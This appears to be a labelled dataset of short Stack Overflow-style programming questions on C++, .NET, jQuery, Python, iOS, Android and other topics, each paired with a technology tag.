how to change a specific entity of a specific record stored in a file in c++  hi friends i want to modify a specific entity of a specific record stored in file. like i have stored record in file as    roll no: 35    name: adnan irshad    status: not admitted    roll no: 40    name: adeel ahmed    status: not admitted    roll no: 30    name: arish    adnan: not admitted    roll no: 35    name: shan    status: not admitted    here i want to search the record via roll no and change the status of that record to admitted like i input  30 roll no to search the record and then program search that record and change its status to admitted. i have done this but my code only change the one record when i do this for another record then nothing happen. code is here   <pre><code>    char stat[13];      cout&lt;&lt; enter registration no ;      cin&gt;&gt;reg_no;      fstream out( intermediate.txt  ios::in|ios::out|ios::ate|ios::app);      out.seekg(0 ios::beg);      out.read((char*)&amp;std sizeof(std));      while(!out.eof())       {            record_no++;          if(strcmp(std.get_reg_no() reg_no)==0)          {              found=1;              break;          }       }      location=(record_no-1)*sizeof(std);      out.seekp(location ios::beg);      char new_status[]= addmitted ; // initialized to replace with status      strcpy(std.status new_status);      out.write((char*)&amp;std sizeof(std));      out.close(); </code></pre>,c++
how to refer obfuscated public fields from other .dlls  i obfuscated all the public and private fields in some dlls  but problem is  when i use these dlls in my project  other dll not able to refer obfuscated fields in obfuscated dll. is there any way to access obfuscated fields. please help me... (i obfuscated dll using dotfuscator tool.)    thank you,.net
how to instantiate a variable from a class with a variable from another class with c++  i m trying to instantiate a variable <code>tt1</code> from a class called <code>ìnletconditions</code> with the variable <code>tt0</code> from another class with the object <code>ein_in</code>.   <pre><code>double inletconditions::tt1 = ein_in.tt0; </code></pre>   the variable <code>tt1</code> is declared as <code>public static double</code> in the headerfile of the class <code>inletconditions</code>.   <pre><code>class inletconditions { public:     static double tt1; } </code></pre>   the variable <code>tt0</code> is declared and instantiated like this:   <pre><code>\\ file eingabe_konstanten.h class eingabe_konstanten { public:     static double tt0; }  \\ file eingabe_konstanten.cpp double eingabe_konstanten::tt0 = io_ein.read(1); </code></pre>   io_ein.read(int) refers to a method  which reads in a value from the specified line number (int) from a file. the value should become 293.15.    how can i achieve that the value of <code>tt1</code> also becomes 293.15  in the output it is just 0.   <pre><code>int main() {     eingabe_konstanten ein;     inletconditions in;     std::cout &lt;&lt; ein.tt0 &lt;&lt; endl;     std::cout &lt;&lt; in.tt1 &lt;&lt; endl; } </code></pre>   output:   <pre><code>293.15 0 </code></pre>   i would be pleased if anyone could help me  since i am new to programming and don t know what topic this problem is related to.    thanks in advance.,c++
does .net load references up front  or only when it needs them   if a .net exe has a normal reference to a .net assembly  will it load the assembly immediately when the exe is loaded  or will it wait until a class from the referenced assembly is used,.net
get values of selected checkbox seperated by comma using jquery 1.9.1  i made a checklist of some products to be selected for which i am using jquery to get the values the problem is the code i am using is working in jquery 1.7.2 but not working in jquery 1.9.1 . the error i get is on wrong syntax being used .   <pre><code>var output = jquery.map($( :checkbox[name=vendor\[\]]:checked )  function(n  i){       return n.value; }).join(   ); </code></pre>   the html format is    <pre><code>        &lt;p&gt;&lt;input type= checkbox  name= vendor[]  value= event venue &gt;             &lt;label for= eventvenue &gt;event venue&lt;/label&gt;&lt;/p&gt;          &lt;p&gt;&lt;input type= checkbox  name= vendor[]  value= decorations &amp; rentals &gt;             &lt;label for= decorations &gt;decorations &amp; rentals&lt;/label&gt;&lt;/p&gt;         &lt;p&gt;&lt;input type= checkbox  name= vendor[]  value= florist &gt;             &lt;label for= florist &gt;florist&lt;/label&gt;&lt;/p&gt; </code></pre>,jquery
jquery one class name with multiple selectors  my coding is working fine  just wondered if there is more tidy way to write jquery code  i was searching for this internet but cant find examples.    there are three duplicated class name with different selectors having different css settings. i would like to know if there is clean coding for this.   <pre><code>if ($(this).hasclass( toggle )) {       $( .toggle &gt; span:first ).css({         // something...     });      $( .toggle &gt; span:nth-child(2) ).css({         // something...     });      $( .toggle &gt; span:last ).css({         // something...     });  } </code></pre>   is there similar to scss way  like below   <pre><code>.toggle {     span {         &amp;:first-child { // something... }         &amp;:nth-child(2) { // something... }         &amp;:last-child { // something... }     } } </code></pre>   thank you for taking time to look into this.,jquery
"change class using td :nth base from number  i tried to access a table data in jquery to change it s class using the <code>:nth</code> selector but it don t work. maybe i miss something. see sample code below:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(function(){
   $(  #hit  ).click(function() {
     bar = +($( #num ).text()) + 1;
     $( tr td:nth-child(bar) ).toggleclass( on );
   });
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.on {
   background-color: green;
 }
 
 .off {
   background-color: grey;
 }
 
 table {
   border: 1px solid black;  
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 
 
 &lt;div id= num &gt;1&lt;/div&gt;
 &lt;br&gt;
 &lt;table&gt;
   &lt;tr&gt;
     &lt;td class= on &gt;&amp;nbsp;&lt;/td&gt;
     &lt;td class= off &gt;&amp;nbsp;&lt;/td&gt;
     &lt;td class= off &gt;&amp;nbsp;&lt;/td&gt;
     &lt;td class= off &gt;&amp;nbsp;&lt;/td&gt;
     &lt;td class= off &gt;&amp;nbsp;&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;
 
 &lt;br&gt;
 &lt;button id= hit &gt;hit me!&lt;/button&gt;</code></pre>
 </div>
 </div>",jquery
iphone blue tooth connection  could i connect  iphone and collect data from other bluetooth device  (it may be iphone   ipod  nokia or other blue tooth device  like pc and so on.) from my own application.      if it is possible which way is the easiest  . like gamekit framework      pls help me,iphone
dismiss open/done installation dialog android  i m trying to update my apk with user knowledge  i.e. the user have to accept the permissions and click on the native install dialog button of android.  to start this installation i use the following code:   <pre><code>file file = contentutils.getfileforresourceid(this  resourceid); intent promptinstall = new intent(intent.action_view).setdataandtype(uri.fromfile(file)  application/vnd.android.package-archive ); promptinstall.addflags(intent.flag_activity_clear_top); promptinstall.addflags(intent.flag_activity_new_task); startactivity(promptinstall); </code></pre>   after the user accepts all permission and the android system installed the package successfully my application will redirect the user to a specific activity of the application  without showing the <a href= http://i1048.photobucket.com/albums/s374/luispereira268/annoying_dialog_zps2bed5e3c.png  rel= nofollow >android finish installation dialog</a>. for this i use broadcast receiver that is listening when a package was added or replaced.    the problem is that once the user did an update the previous <a href= http://i1048.photobucket.com/albums/s374/luispereira268/annoying_dialog_zps2bed5e3c.png  rel= nofollow >android finish installation dialog</a> will appear every time the user clicks on the native installation dialog cancel button or the cancel button of <a href= http://i1048.photobucket.com/albums/s374/luispereira268/dialog_zpsa7f72038.png  rel= nofollow >user data dialog</a>.     is there any way to just dismiss the android finish installation dialog  or to disable it,android
memory allocation of members of class  i have class as following:   <pre><code>public class a {    int i;  } </code></pre>   when i am creating and object of class as following:   <pre><code> a obj=new a(); </code></pre>   i can understand the object is allocated in heap. now the class got a integer variable. where the member variable  i  is allocated (in stack or heap),.net
referencing jar s web.xml inside project s xml  i have a jar(not war) having web.xml inside its web-inf folder which contains servlet-mapping(dispatcher servlet and reference to the config.xml containing rest related controller details). now  i have to put this jar in the classpath of different project and i want to use the servlet mapping of the jar inside the project.    is it possible to load jar s web.xml through the project s web.xml  or any other way for solving this problem,java
why do two adjacent arrays return undefined in javascript   the following case returns <code>undefined</code> in chrome devtools.    <code>[ test1    test2 ][ test3    test4 ]</code>.    i believe this may be because of <a href= https://stackoverflow.com/questions/14631105/why-does-3-1-2-return-undefined-in-javascript >automatic semicolon insertion</a>  but this case i m finding hard to understand when running in the chrome devtools.    the following (and other permutations of <code>;</code> in different locations) returns the last item  <code>[ test3    test4 ]</code>:    <code>;[ test    test2 ];[ test3    test4 ];</code>    i believe this case is different from the <a href= https://stackoverflow.com/questions/3561043/what-does-a-comma-do-in-javascript-expressions >marked duplicate</a> because the usage of the comma doesn t cause any of the individual items to be returned (it makes sense that <code> test3   test4 </code> would return <code> test4 </code>  but in this instance the commas are within the context of arrays).,javascript
why isn t this php returning an increased variable value   i dont have a database. but i would like the server to send me a unique number for each of my uploads. i have written the server side is written in php. i have defined a global values as fileid and assigned 1 to it at the begining. then i do an auto increment of it. but for all my uploads i get one (the same number as the begining). can someone tell me what i m doing wrong here    <pre><code>&lt; php  $fileid = 1;  class uploadcontroller {    private static function uploadrequest() {     echo self::$param_file_id .  =  . $globals[ fileid ];     $globals[ fileid ] = $globals[ fileid ] + 1;   } }  &gt; </code></pre>,php
outputting list to a  matrix  type format in python <pre><code>my_list = [ one    two    three    four    five    six    seven ] </code></pre>   using python  i need list to be displayed as:   <pre><code>one  two  three four  five  six seven </code></pre>   i need it to be flexible  as the list will change frequently.,python
system.windows.data is missing from my list of .net libraries  hi i d like to use system.windows.data.ivalueconverter  but when i try to add a reference to system.windows.data in vs2010  i only see system.windows.forms and system.windows.presentation.  what am i missing   i m using .net 3.5 (not the client version)  and i think the library should exist for that version.  switching my project to .net 4.0 didn t help.  googling didn t turn up any people experiencing this problem.  tia.,.net
datagrid speed issue  i m binding gridview in asp.net application... i m about to bind some thousand records in datagrid... on rowdatabound event of the grid i need to check if the log in user is authorised to view the perticuler record...so i need to send database request...like wise such other two to three operation requires to send request to database....    about three to four request are sended to database during each row bound of the gridview...is it effective on speed of the grid,asp.net
store data in an html file  wanted to know if the following scenario is possible -     i have some data that is in an excel file. i want to make an html page which will have this data inside it (no other source of data). and inside the html page  will i be able to put textfields  buttons etc for a user to input data and based on that  i need to write queries (jqueries i guess) to show the data that is the result of those queries    can this be done  i have not done anything so far. i just wanted to know if this is possible and please someone point me in the right direction for me to start. i wanna learn on my own how to do this.    thanks in advance.,html
how can i get the number of bytes allocated by mmap   i m building a custom implementation of <code>malloc</code> using mmap.    if the user wants to allocate 500 bytes of memory  i call <code>mmap(0  500  prot_read | prot_write  map_shared | map_anonymous  -1  0)</code>. <code>mmap</code> returns a pointer to a block with size 4096 (if that is the page size).    in my linked list i want to have one block set to 500 bytes marked as taken  and one block set to 4096-500=3596 bytes marked as free. it is not clear  however how much memory <code>mmap</code> really allocates. how can i get that information,c
performatic structure without data duplication  say i have the following classes:   <pre><code>public class tagged {      private list&lt;string&gt; tags; }  public class containeroftagged {      private list&lt;tagged&gt; tagged; } </code></pre>   with this structure  whenever i need to find a <code>tagged</code> with a specific tag  i need to iterate over all the tagged in <code>containeroftagged</code>  and iterating over all tags of each <code>tagged</code>. that could affect performance depending on the size of the lists.    a simple solution would be changing the <code>containeroftagged</code> class to use a <code>map</code>  mapping tags in lists of <code>tagged</code>:   <pre><code>public class containeroftagged {      private map&lt;string  list&lt;tagged&gt;&gt; tagmapping; } </code></pre>   now all i need to do is provide a tag  and the <code>map</code> will return all <code>tagged</code> with said tag. however  by doing this i m causing data duplication  since the same tags exist in both the <code>tagged</code> and <code>containeroftagged</code> classes.    so  is there a way to solve this problem with a performatic solution that doesn t duplicate data,java
simple question of pushviewcontroller  messagecontroller  is  nothing but object of initialize  nib file.   <pre><code>[self.navigationcontroller pushviewcontroller:messagecontroller animated:yes]; </code></pre>   this statement executes in normal condition    this statement also works on state maintainace testing   this line executes properly but not open new view  why,iphone
optimal data structures for a tile-based rpg in java  the game is tile-based  but the tiles are really only for terrain and path-finding purposes. sprite movement is free-form (ie  the player can be half way through a tile).    the maps in this game are very large. at normal zoom tiles are 32*32 pixels  and maps sizes can be up 2000x2000 or larger (4 million tiles!). currently  a map is an array of tiles  and the tile object looks like this:   <pre><code>public class tile {      public byte groundtype;     public byte featuretype;     public arraylist&lt;sprite&gt; entities;      public tile () {         groundtype = -1;         featuretype = -1;         entities = null;     } }     </code></pre>   where groundtype is the texture  and featuretype is a map object that takes up an entire tile (such as a tree  or large rock). these types of features are quite common so i have opted to make them their own variable rather than store them in entities  which is a list of objects on the tile (items  creatures  etc). entities are saved to a tile for performance reasons.    the problem i am having is that if entities is not initialized to null  java runs out of heap space. but setting it to null and only initializing when something moves into the tile seems to me a bad solution. if a creature were moving across otherwise empty tiles  lists would constantly need to be initialized and set back to null. is this not poor memory management  what would be a better solution,java
javascript uncaught typeerror: object [object global] has no method  i am trying to make a basic javascript  library  / tool which helps the user change items using their ids. i have tried a basic function  but i get the error <code>uncaught typeerror: object [object global] has no method  val </code>  and i am not sure why:    lib.js   <pre><code>function $id(id) {     if(id)     {         this.elem = document.getelementbyid(id);         return this;     }     else     {         console.log( no id found when using $id(...) );     } } $id.prototype =  {     val: function()     {         return this.elem.value;     }      set: function(v)     {         this.elem.value = v;     }      destroy: function()     {         this.elem.parentnode.removechild(this.elem);     }  } </code></pre>   index.html   <hr>  <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script type= text/javascript  src= lib.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; alert($id( mydiv ).val()); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= mydiv &gt; hello &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
nav bar not working on specifically home page | enjin  so i have a website that uses enjin as a base and custom code on top of that. (not working as in hovering over the options doesn t make their drop downs appear as it does on other pages)    for some reason  on my home page <strong>only</strong> the nav bar at the top doesn t work and i can t figure out why. clicking on the  enlist today  button takes you to the application page where the navigation bar <strong>does</strong> work and it s confusing the life out of me.    any help     website in question: <a href= http://www.142airbornedivision.com/  rel= nofollow noreferrer >http://www.142airbornedivision.com/</a>,html
css specificity issue for div  span  a  etc  i want to override another style sheet and set the float for <strong>all</strong> elements to none. if i use  div  span  a  as the selectors or even  body div  body span  body a   it doesn t override the previous class selector. i could use !important but this isnt great for obvious reasons.   <pre><code>.class {     float: left; }  /* my overide */ div  span  a {     float: none; } </code></pre>   note- in the code ive only shown the class of  class   but actaully their are many classes and id s.     is there a way to do this without using !important  the reason im doing this is im mobile optimizing my site with media queries. i need to remove absolute positioning  floats  etc for all elements  but then i will want to add some of these styles to specific elements.  thanks,css
estimote indoor navigation sdk crashes  i am doing an application with estimote indoor navigation sdk. to set the appid and apptoken i am using the following code. <code>[estindoorlocationmanager setupappid:appid andapptoken:apptoken];</code>. but the application crashes with the error message in the console mentioned below. +[estbeaconmanager setupappid:andapptoken:]: unrecognized selector sent. i am using estindoorlocation manager setupappid   but in the error its showing that unrecognized selector sent to estbeaconmanager setupappid. why so   please help me to solve this issue. thanks in advance,ios
c++ program to check the frequencies of the letters  i am writing a c++ program to check the frequencies of the letters. when the output has no space like  aabbbsssd   my code can exactly check the frequencies of the letters. however  if the input has space like:  do be do bo.  my output just   d 1  and  o 1   no frequencies of  b  and  e .     <h3>updated code:</h3>  <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;vector&gt; #include &lt;algorithm&gt;  using namespace std;  struct letters {   letters() : freq(0){}   letters(char letter int freq) {     this-&gt;freq = freq;     this-&gt;letter = letter; } char letter; int freq; };  bool greater(const letters&amp; a  const letters&amp; b) {    if(a.freq == b.freq)       return a.letter &lt; b.letter;     return a.freq &gt; b.freq; }  int main () {  cout&lt;&lt; enter text:  &lt;&lt; endl; string input; getline(cin  input);  vector&lt;letters&gt; count; int letters[26]= {0};  for (int x = 0; x &lt; input.length(); x++) {     if (isalpha(input[x])) {         int c = tolower(input[x] -  a );         letters[c]++;     } }  for (int x = 0; x &lt; 26; x++) {     if (letters[x] &gt; 0) {         char c = x +  a ;         count.push_back(letters(c  letters[x]));     } }  std::sort(count.begin() count.end() greater);  cout&lt;&lt; frequencies:  &lt;&lt; endl; for (int x = 0 ; x &lt; count.size(); x++) {     cout&lt;&lt;count[x].letter &lt;&lt;      &lt;&lt; count[x].freq&lt;&lt; \n ;   }   return 0; } </code></pre>   apologies if this is written poorly  and thanks in advance for the help!,c++
how can i get the browser history  iam doing one application in iphone.in this i need to get the browsing history of my device.so please tell me how to get the browsing history.if any api is available then please send a like for that.,iphone
unknown error -12881 when using avassetresourceloader  i am trying to write a custom resourceloader delegate to work with an avurlasset. i have started with the avarldelegatedemo code from apple. i am trying to playback an hls url. i am testing on an ipad.     what i notice is that the playlist file (.m3u8) gets downloaded correctly. then video file (.ts) also gets downloaded. i know that the .ts file is downloaded because i can see the get request completing on the web server with status 200. i also set a breakpoint at the following line:    [loadingrequest.datarequest respondwithdata:data];    the length of data matches the file size and the first byte is the sync byte of the .ts (0x47) as expected.    the problem is that the app displays an error code. the following dialog pops up:     the operation could not be completed. an unknown error occurred (-12881)     googling for this error has not turned up any information. i do not know what to check for or how to get more information. it is not as if the app is crashing and giving me a stack trace. the video refuses to play and i get no more information beyond the  unknown error -12881  this is not a lot to go on.    also  if i point an unmodified version of the demo code at my playlist  the video plays just fine.    can anyone tell me what is going wrong  here is the code from my customized resource loader.   <pre><code>- (bool) resourceloader:(avassetresourceloader *)resourceloader shouldwaitforloadingofrequestedresource:(avassetresourceloadingrequest *)loadingrequest  nsurlrequest *redirect = nil;  redirect = [self generateredirecturl:(nsurlrequest *)[loadingrequest request]];  if (redirect) {     nsurlsession *session = [nsurlsession sharedsession];     [[session datataskwithurl:redirect.url             completionhandler:^(nsdata *data                                  nsurlresponse *response                                  nserror *error) {                 [loadingrequest.datarequest respondwithdata:data];                 [loadingrequest finishloading];              }] resume];  } else {     [self reporterror:loadingrequest witherrorcode:badrequesterrorcode]; } return yes; } </code></pre>,ios
android communication to external modem  i new to android embedded technology. i am working on android device to external modem communication.  there will a external modem connected to android device with usb. now need to run modem command on external modem using android application. should i start with <a href= http://code.google.com/p/usb-serial-for-android/  rel= nofollow >http://code.google.com/p/usb-serial-for-android/</a> or <a href= http://source.android.com/accessories/index.html  rel= nofollow >http://source.android.com/accessories/index.html</a>. is there any other way to achieve it.    please let me know your comments based that i will go forward.    thank you.,android
saving auto-generated id into file  i m trying to save an auto-generated id in to my text file  and i m looking for a suitable method to do this; here are the code snippets     auto-generated id function :    <pre><code>int apartment_id() {      static int id = 100;     return ++id;  } </code></pre>   getting details of apartment function ( the first if which check the id is just something i ve defined in order to go through the loops  i know it doesn t make sense  but it helps the flow :) )    <pre><code>   void get_apartment_details(){      while (true) {            cout &lt;&lt;  auto-generated id:  &lt;&lt; apartment_id() &lt;&lt; endl;         cin &gt;&gt; auto_id; </code></pre>   and i know that i m using  cin  while user can t even enter in any data  and in fact  i m looking for a way to save this random generated integer  without needing user to enter in anything.    <strong>update:</strong> here is the function for writing data s in to the text file :    <pre><code>    void add_apartment(){      system( cls );     staff staffobj;     staffobj.get_apartment_details();     progress();     ofstream outfile;     outfile.open( apartment.txt   ios::binary | ios::app);     outfile.write(reinterpret_cast&lt;char *&gt; (&amp;staffobj)  sizeof(staff));     outfile.close();     cout &lt;&lt; endl &lt;&lt;  \n\n details of new apartments has been succesfully added ;     cin.ignore();     cin.get();     staff_menu();  } </code></pre>,c++
find code coverage of .net solution from command line  i want to find code coverage of c# .net solution having test projects. right now we can get test results and code coverage of solution by selecting test -> run -> all tests. but i want to do it via command line.,.net
jquery - if input not empty  add class  heei. i have a question. i want to create if value of input is empty  the label remove class  else (if input has a value)    html   <pre><code>  &lt;div class= input-field &gt;             &lt;input type= email  id= username  name= email  required&gt;             &lt;label for= username &gt;email address&lt;/label&gt;         &lt;/div&gt;         &lt;div class= input-field &gt;             &lt;input type= password  id= password  name= password  required&gt;             &lt;label for= password &gt;password&lt;/label&gt;         &lt;/div&gt; </code></pre>   jquery   <pre><code>$(document).ready(function(){       if ($( .input-field:first-of-type input ).val() ==   ) {         $( .input-field:first-of-type label ).removeclass( active );       }       else {         $( .input-field:first-of-type label ).addclass( active );       } }); </code></pre>   css   <pre><code>label.active {   color: red; } </code></pre>   i hope  the <code>label</code> inside <code>&lt;div class= input-field &gt;</code> first-of-type will be red when it has a class <code>active</code>. but it doesn t work. any idea please     my work : <a href= https://jsfiddle.net/f7nd0obb/8/  rel= nofollow noreferrer >https://jsfiddle.net/f7nd0obb/8/</a>,jquery
list of strings in python issue  i have a weird problem  so basically when i write this:   <pre><code>def deletex():     s=  the quick red fox jumped over the lazy dog.      t= s.split()     for x in t:             t.remove(x)      return t print deletex() </code></pre>   so i don t get nearly what i expected  it removes every other word instead of every single one.    why      i can get around it with appending to a different list  but i want it to work this way too  since lists are <em>supposed</em> to be mutable. also i noticed when i try to do x.capitalize() it doesn t work without appending to an empty list.,python
when to go for new string instead of string literal in java  i know when we use <code>string s = new string( abc );</code> jvm will create the object in heap and when we use <code>string s =  abc ;</code> the object gets created in string constant pool.    imo  using <code>string s =  abc ;</code> serves our purpose. in which case we have to go for <code>new string( abc );</code>,java
how to read numbers in text file as numbers in to list in python   i have a text file in which there are numbers in each line(only numbers).it my color.txt look like   <pre><code>3 3 5 1 5 1 5 </code></pre>   when i read this to list using    <pre><code>f=open( d:\\emmanu\\project-data\\color.txt   r )     for line in f:         g_colour_list.append(line.strip( \n ))     print g_colour_list </code></pre>   the output is like   <pre><code>[ 3    3    5    1    5    1    5 ] </code></pre>   but i want it as   <pre><code>[3 3 5 1 5 1 5] </code></pre>   how can i do that in the single line that is  g_colour_list.append(line.strip( \n )),python
iphone - erasing all data on a coredata object  i am new to coredata. even so  i have managed to understand it within a certain degree and all is working fine. the only thing i was not able to do is to erase the whole database.    how do i do that     i am on a viewcontroller and the database was initialized by the delegate. my project was based on apple templates.    how do i erase the database and recreate it completely empty if it was created by the delegate     please refrain from pointing me to this  answer  <a href= https://stackoverflow.com/questions/1077810/delete-reset-all-entries-in-core-data >delete/reset all entries in core data </a>    because it is not complete and do not covers how i recreate the whole thing. it just covers how to delete stuff.    thanks,iphone
how to adjust volume level of audio or video file in android   i tried ffmpeg but it was too slow on android. i m researching the isoparser to adjust the video volume to 50% but it does not work. here s my code:    <pre><code>movie originalmovie = moviecreator.build(input.getabsolutepath()); track imagetrack = originalmovie.gettracks().get(0); track audiotrack = originalmovie.gettracks().get(1); audiotrack.gettrackmetadata().setvolume(0.5f);  movie movie = new movie(); movie.addtrack(imagetrack); movie.addtrack(audiotrack);  container container = new defaultmp4builder().build(movie); filechannel fc = new fileoutputstream(output).getchannel(); container.writecontainer(fc); fc.close(); </code></pre>,android
ios - how to drag the crash report into the organizer   i am trying to debug a crash report which i need to  symbolicate  and i have never  symbolicated  before.    i came across some instructions to drag/rop the crash report onto organizer to have it symbolicated.    how do i do that  do i save the crash report into a file and drop it somewhere  i am a bit confused. could someone please explain the process     thanks!,ios
what will happen when autopostback is true and when it is false   after a postback does data go to server when it is true   please explain autopostback properties,asp.net
is it possible to link/scroll to a location in a page that doesn t have id ed/name ed anchors   there are similar questions on so  but this one is unique because i have no access to the code i am linking to. i often share links to other pages when giving answers on so  forums  irc  etc. rather than having to say   follow <a href= https://evernote.com/contact/support/kb/#/article/23480523  rel= nofollow >this link</a> and search for the 5th occurance of the word  reminder .  i d like to just link directly to it. i always view source and look for tags with <code>id</code> set or (rarely ever seen anymore) anchors with <code>name</code> set. but  if i don t find any  i don t know what to do.    <strong>update:</strong> just like every other question on so and result i ve found on google  i m already getting responses that assume writing code or installing something. so  let me be very clear:   <blockquote>    <em>if you can t actually post an example link here on so  then it is not a solution.</em>  </blockquote>   <strong>digression:</strong> there should be a standard for searching/scrolling/highlighting in urls. perhaps <a href= http://example.com/#/reminder/[5]  rel= nofollow >http://example.com/#/reminder/[5]</a> would scroll to (and highlight would be nice) the 5th occurrence of  reminder .,html
use respnse.writefile instead of user control  i have a large html file that i want to split apart. i have managed to split it apart and place each part in a htm file. as a result my structure now looks like:    <img src= https://i.stack.imgur.com/2nttd.png  alt= enter image description here >    note all the files in the folder are just specific to the default.aspx page. i like to have my code spitted into several parts; i find it easier to program that way.    anyways why when i do:   <pre><code>    &lt;%            response.writefile( _menu.htm );             %&gt; </code></pre>   that creates a different output that if i where to go to _menu.htm copying the entire content and pasting it in there  i know i can create a user control for each file. but if i do so i will have to create a page directive at the root of the page for each file and plus i just need to place static content i don t need to call an aspx page. why does response.writefile include stuff that i don t have in the file. for example it places     marks whenever i have a paragraph.    <h2>edit</h2>   i use user controls when i plan to reuse html. in this case i am just spliting apart a page into several ones. i will like to have the content of each chunk in a separate file.   <h2>edit 2</h2>   doing:   <pre><code>    &lt;%             //response.writefile( _menu.htm );          response.write(system.io.file.readalltext(@ a:\users\antonio\dropbox\visualstudio projects\websites\boat\boat\masterpages\user\_menu.htm ));             %&gt; </code></pre>   works great. why is response.writefile including   (paragraph)   at the the beginning!,asp.net
execute .net code at runtime  suppose i write  piece of code  in a text file.  is it possible to read that file at runtime and...execute    for example  suppose my software have a <strong>method1</strong>  <strong>method2</strong> and <strong>method3</strong> methods. in a text file i write any simple piece of code  like:    <pre><code>dim i as integer i = method1() + method2() console.write(i) </code></pre>   how can execute it dinamically  at runtime,.net
i can t get the header value from angularjs $http headers  i set the headers in server  resp.setheader( authorization    xxxxxxx ); and the headers of http response is all right. from the chorm i got the info as below: <a href= http://i.stack.imgur.com/tzhfh.png  rel= nofollow >enter image description here</a> but from the angular $http headers function i can t get the value i set. i try to get value use: console.log(response.headers()); console.log(response.headers( authorization ));     the console print: <a href= http://i.stack.imgur.com/d5gr8.png  rel= nofollow >enter image description here</a>    how to get the value  tks,angularjs
how the size of memory allocated to structure is calculated  <pre><code>#include &lt;stdio.h&gt;  int main() {   struct name   {     int x;     struct name *ptr;   };    struct name a;   printf( size is %d  sizeof(a));   return 0; } </code></pre>   the result of this code is 16 bytes.how compiler has calculated the size of *ptr,c
throwing an ajax error that jquery can catch  using <code>jquery.ajax()</code> there are events such as  success  and  error  get triggered.    it appears as though the  error  is only triggered if some error occurs within the javascript function that is calling <code>ajax()</code>  rather than being based on some error coming back from the http call.    i would like to do one action on success and another if some error happens within my server side processing.    what is the/is there an accepted practice of passing back a success or failure such that your client-side js can display an error or success message     @jason - so your code looks something like this....   <pre><code>$.ajax({        type:  post       datatype:  html        cache: false        url:  ajax_post_action.php       success: function(data){                     if( response.success ) {              ...do something...          } else {             ...tell user thre was a problem...         }               }      error: function(data){                           ...tell user thre was a problem...     }        }); </code></pre>,jquery
matching a user input to a string   i am trying to print some code which matches the user s input to the previous string input. then display where the character is matched (like the game hangman).     the  -  indicates what the first string will look like  each  -  will be removed once a correct guess has been entered. now i have tried to use a  ==  method but that doesn t seem to be doing the trick  does anybody have any suggestion    <pre><code>word_guessed = input( enter a word to be guessed:  ) type(len(word_guessed)) print(len(word_guessed)*  - )  guess_letter = input( enter a letter to be guessed:  ) if guess_letter == word_guessed:     print( correct guess  guess again:  )     print( the letter is located:  == len(word_guessed)) else:     guess_letter = word_guessed     print( incorrect character  again. ) </code></pre>,python
exclude row when the value in column b is present somewhere (in another row) in column c  as the title describes i m looking for a way to exclude the entire row from my select clause when the value in column b of this row is present anywhere in column c of the same table.,sql
how do you do something before $.get() is submitted   i ve got some basic code with jquery:   <pre><code>$.get( /booking.php   { event_id: event_id  time_id: time_id }  function(data) {     $( #booking_box_content ).html(data);   }); </code></pre>   which works a treat. thing is  i d like to do something before the actual get command is sent. i know the above code is the shorthand  and i know how to do the longhand version with $.ajax() and beforesend() - i guess i m wondering if there is a way to do that with $.get()...,jquery
failed to play mp3 in angularjs for android device  i want to play a mp3 track  have code like this:   <pre><code>var audio = new audio( file:///internal memory/notifications/msg.mp3 ); audio.play(); </code></pre>   the path is found in my explorer  but it s failed to play the mp3.    why？ (i guess it s the path problem ) thanks.,angularjs
testing for dictionary keynotfoundexception  i have a scenario where there is a dictionary that might or might not have a key value at a given time. i am presently testing to see if the value exists in the following manner  but would like to know if this is the best approach or if there is a better approach for handling this.   <pre><code>int myint;  try {     myint = {value from dictionary}; } catch {     myint = 0; } </code></pre>   any input  thanks.,c#
convert gigabytes to bytes  i am in the position where i am trying to convert gigabytes to bytes from a submit form. i have searched around and i am unable to find anything suitable. currently when converting bytes to gigabytes i use this method  which works perfectly.   <pre><code>public function byteformat($bytes  $unit =     $decimals = 2)  {     $units = array( b  =&gt; 0   kb  =&gt; 1   mb  =&gt; 2   gb  =&gt; 3   tb  =&gt; 4       pb  =&gt; 5   eb  =&gt; 6   zb  =&gt; 7   yb  =&gt; 8);      $value = 0;     if ($bytes &gt; 0) {     // generate automatic prefix by bytes     // if wrong prefix given     if (!array_key_exists($unit  $units)) {     $pow = floor(log($bytes)/log(1024));     $unit = array_search($pow  $units);     }      // calculate byte value by prefix     $value = ($bytes/pow(1024 floor($units[$unit])));     }      // if decimals is not numeric or decimals is less than 0     // then set default value     if (!is_numeric($decimals) || $decimals &lt; 0) {     $decimals = 2;     }      // format output     return sprintf( %.  . $decimals .  f  .$unit  $value); } </code></pre>   there seems to be plenty of examples of bytes to other formats but not the other way around.    i have seen that i can convert the number 1.5 like so   <pre><code>round(($number[0] * 1073741824)); </code></pre>   the result is <code>12992276070</code>  however  when using the byteformat method shown above  i get the following <code>1610612736</code>  this seems quite a difference between the two methods. can anyone suggest a more stable method for converting gigabytes to bytes.,php
access or use bulit-in features of any microsoft application in .net  if i want to use/access the features of microsoft products(say microsoft word grammer check feature) in .net windows/web application  how can i achieve this  do i need to access the corresponding dll(or namespace) to use the features  if so  please provide me a sample to use the feature of other microsoft products in .net application. please  provide me a website which is good for this stuff.,.net
